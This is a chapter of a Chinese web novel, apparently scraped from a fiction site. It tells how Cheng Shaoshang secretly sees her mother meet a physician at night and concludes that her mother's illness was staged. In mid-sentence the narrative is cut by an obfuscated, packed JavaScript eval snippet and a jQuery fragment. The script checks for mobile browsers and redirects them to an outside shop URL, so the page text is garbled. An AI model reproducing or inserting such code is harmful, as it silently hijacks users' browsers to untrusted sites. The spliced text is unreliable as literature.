文趣网 > 其他小说 > 可曾盼君归 > 13. 误会
    隔壁耳房之内,程少商一夜辗转,压根未曾合眼。身上的旧伤还在隐隐作痛,每翻一次身,身后便扯起一阵灼热的钝意,可这点皮肉苦楚,早被心底重重的忧思盖了过去。她躺在榻上,耳朵始终绷着,一刻不停地捕捉隔壁内室传来的声响。

    一桩桩念头在心底盘旋,搅得她心神不宁。

    她再也躺不住,悄无声息坐起身。赤足踩上微凉脚踏,取过外衫轻轻披在肩头,连鞋履都不敢穿,只着薄袜,脚步放得极轻,如同猫一般,缓步挪到两屋相隔的门扇之后。

    少商微微俯下身子,半边肩膀靠在冰冷的木扉上,将耳朵贴向那道缝隙,想要探听屋内的情形。起初只听见窗缝漏进来的秋风呜呜掠过,还有烛火燃尽灯花偶尔爆开的噼啪轻响。

    下一瞬,一道陌生女子的嗓音低低传了出来,隔着门缝,朦朦胧胧落进少商耳中。“你这般活着,未免太过辛苦。”

    少商的呼吸猛地一滞,身子瞬间定在原地。

    屋内,萧元漪的声音紧随其后响起,依旧是她独有的沉稳笃定。

    “既为人母,何来轻松可言。”

    短短七字,沉沉落下来,叫门外的少商心口轻轻一揪。昨夜的担忧与愧疚,尽数翻涌上来。原来阿母心中,亦是这般负重煎熬。

    她敛住心神,还想再听更多内里的对话,那陌生女声又再度响起,语气里带上几分辞别之意。话音到此,便再无后续。

    少商缓缓直起身子,眉头紧紧拧起,心底满是疑云。

    这夜半时分,内室之中,阿母房中怎会藏着一个外人?

    这人究竟是谁?

    她在心底暗暗盘算。侯府规矩森严,外客绝无可能私自进入阿母寝屋,更何况是这般鬼鬼祟祟,待到天快破晓便要匆匆离去。

    少商脑海里不由自主冒出一个荒唐念头,心头猛地一跳。莫不是……阿母的情人?

    念头才刚浮起,她便在心中自嘲地摇了摇头。简直胡思乱想。先不说听声音分明是女子,阿父程始待阿母情深义重,夫妻二人沙场共历生死,相守多年,阿母半生磊落坦荡,将门风骨,怎么会做出这等苟且之事。真是忧思过甚,竟生出这般可笑揣测。

    可疑惑并未就此消解。

    萧元漪一生行事,最是光明坦荡,素来厌恶私下鬼祟往来。若是相熟的闺中密友,大可大大方方登门拜访,走侯府正门,堂前相见,何必要趁着夜深人静,隐秘相会,天未亮便匆匆遁走?

    那人说话口吻,听来与阿母交情匪浅,言语之间句句戳中阿母心底难处,绝非泛泛之交。若是旧日故友,何以要躲躲藏藏?

    无数疑问缠作一团,在她心底绕来绕去。好奇心如同藤蔓,悄悄滋长。若是不能亲眼瞧上一眼,这一夜悬着的心,终究难以安放。

    少商垂眸低头,看了看自己脚上薄薄的布袜,索性连鞋也不穿,她抬手,指尖捏住耳房的门闩,极其缓慢地,一点一点拨开。

    她将房门掀开仅容一人侧身而过的缝隙,身子贴着墙壁,悄无声息溜到廊下。拂晓的风带着秋露的寒气,扑在单薄衣衫上,激得她微微打了个寒噤。廊下宫灯烛火将尽,灯火昏蒙,长长的廊柱投下浓重的阴影,恰好可以藏身。

    少商弓着腰,借着雕花窗棂的遮挡,慢慢挪到窗侧,不敢正对窗洞,只敢微微探出半张脸,眼角余光悄悄往屋内瞟。

    窗纸被夜风掀起不小的一道缺口,恰好将窗边大半景象纳入眼底。

    那人约莫四十上下,未簪珠钗,长发简简单单束成高髻,眉眼爽利英气,不见半分闺阁女子的柔婉,正是那日在驿站为萧元漪施针诊治的游方女医。少商心头猛地一跳。

    原来是她。

    那日仓促相见,心绪纷乱,她只记得对方是医术高明的游方医者,万万没有料到,此人竟与阿母有这般深的私交。

    转瞬之间,人已经站在了窗外廊下,与藏身柱子后的程少商,不过隔了两根雕花廊柱的距离。

    少商浑身汗毛骤然竖起,连忙将身子死死往后缩,整个人贴紧冰冷的木柱,屏住全部呼吸,连胸腔的起伏都压到极轻。

    好在女医并未四下张望,借着廊檐重重暗影,几步便消失在庭院曲折回廊尽头,转瞬便没了踪影,连随行的武婢也一并隐入夜色。

    窗内,萧元漪缓步起身走到窗边,抬手将半开的木窗缓缓推合。

    吱呀一声木轴轻响,彻底隔断了屋内的光景。

    少商依旧僵在柱后,方才那一幕在脑海之中反复盘旋。

    驿站女医夜半私入侯府内寝,二人彻夜密谈。那些太医的诊治、女医当初那番危言耸听的断言、全家

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926467|213544||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    惶惶不安彻夜难眠,自己跪在榻边满心愧疚,甘愿领受家法的一幕幕,尽数汹涌翻上心头。

    一个冰凉可怖的猜测,如同寒冬冰水,顺着脊背缓缓爬上来。

    难道自湖畔那一晕厥开始,便是一场做给阖家众人看的戏?

    这个念头刚冒出来,少商便下意识想要摇头压下。阿母戎马半生,行事纵然严苛,素来磊落刚正,怎会拿自己的身子、拿全家人心安危做一场试探儿女的戏码。

    可方才亲眼所见的景象,又句句推翻心中的自我宽慰。

    昨夜整整一夜,她守在耳房,心疼阿母经年积劳亏空,悔恨自己行事莽撞,甚至暗暗在心中许诺往后收敛锋芒,不再处处顶撞。

    原来自己满心的痛悔与担忧,竟是隔着一堵墙,旁观一场旁人精心演出来的戏。少商喉间紧紧发涩,鼻尖泛起酸涩。

    她心里清楚,此刻若是冲上前,拍开窗棂厉声质问,母女之间便再无半分转圜余地。天光将亮,府中仆婢转瞬便要起身洒扫送药,一旦闹开,曲陵侯府的家丑便再遮掩不住,满城世家都会看笑话。

    深深吸了一口浸满秋露的冷风,她强行压下胸腔翻涌而上的愤懑与寒凉。她缓缓向后退,脚掌碾过带露的青石,潮冷浸透布袜。

    方才那一点滚烫的愧疚心软,此刻尽数被冰水浇熄。

    昨夜榻边那句“认打认罚,绝无辩驳”还清晰回响在耳畔。想来只觉可笑:“为了让我得到更多的指责,为了看我忏悔,阿母竟也这般不择手段,还堂而皇之的管教我们。”

    “……也好,我再不欠她了。”

    窗外天光越来越亮,熹微晨光穿透窗棂,落在地面,分割出明明暗暗两块地界。屋内残烛燃到尽头,“啵”的一声,灯花彻底熄灭。

    少商抬眼望向隔开两间屋舍的木门。

    不消片刻,便会响起仆婢走动、烧水煎药的动静。萧元漪会以大病初愈的侯府主母身份,接受阖家上下的问候探望,或许还会放下往日冷硬,打算好好同自己这个女儿修补母女情分。

    少商抬手拢了拢肩头滑落的外衫,将眼底翻涌的万千情绪尽数敛去。面上重新覆上一层淡淡的平静,看不出喜怒,辨不出悲喜。

    天,彻底亮了。

    那些积压下来的是非对错,终究,要一一清算。